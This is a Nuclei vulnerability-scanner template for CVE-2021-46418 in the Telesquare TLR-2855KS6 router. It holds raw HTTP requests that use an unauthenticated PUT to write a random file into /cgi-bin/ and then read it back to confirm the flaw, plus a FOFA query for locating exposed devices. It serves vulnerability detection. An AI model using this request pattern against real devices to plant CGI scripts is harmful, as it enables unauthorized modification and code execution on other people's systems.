nuclei-templates/http/cves/2021/CVE-2021-46418.yaml

49 lines
1.6 KiB
YAML
Raw Permalink Normal View History

2024-04-03 07:09:23 +00:00
id: CVE-2021-46418
info:
name: Telesquare TLR-2855KS6 - Arbitrary File Creation
author: DhiyaneshDK
severity: high
description: |
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
reference:
- http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
- https://github.com/ARPSyndicate/cvemon
2024-04-04 07:35:04 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-46418
2024-04-03 07:09:23 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2021-46418
2024-05-31 19:23:20 +00:00
epss-score: 0.07418
epss-percentile: 0.94089
cpe: cpe:2.3:h:telesquare:tlr-2855ks6:-:*:*:*:*:*:*:*
2024-04-03 07:09:23 +00:00
metadata:
verified: true
max-request: 2
2024-04-03 07:09:23 +00:00
vendor: telesquare
product: "tlr-2855ks6"
fofa-query: "product==\"TELESQUARE-TLR-2855KS6\""
2024-04-03 07:09:23 +00:00
tags: packetstorm,cve,cve2021,telesquare,intrusive
variables:
filename: "{{rand_base(6)}}"
http:
- raw:
- |
PUT /cgi-bin/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
{{randstr}}
- |
GET /cgi-bin/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 201'
- 'contains(server_1, "lighttpd") && contains(content_type_2, "text/plain")'
- 'contains(body_2, "{{randstr}}")'
condition: and
# digest: 4a0a0047304502205bfc9f8b8c9e5038d1c3cd44bcc15e4ef08e2a344a2dddf2d3f1f9c55ed02521022100d0d00b82efff29a484e4e1cb3b1d1dd3ab7acdc204c311843553ab09aa2e7524:922c64590222798bb761d5b6d8e72950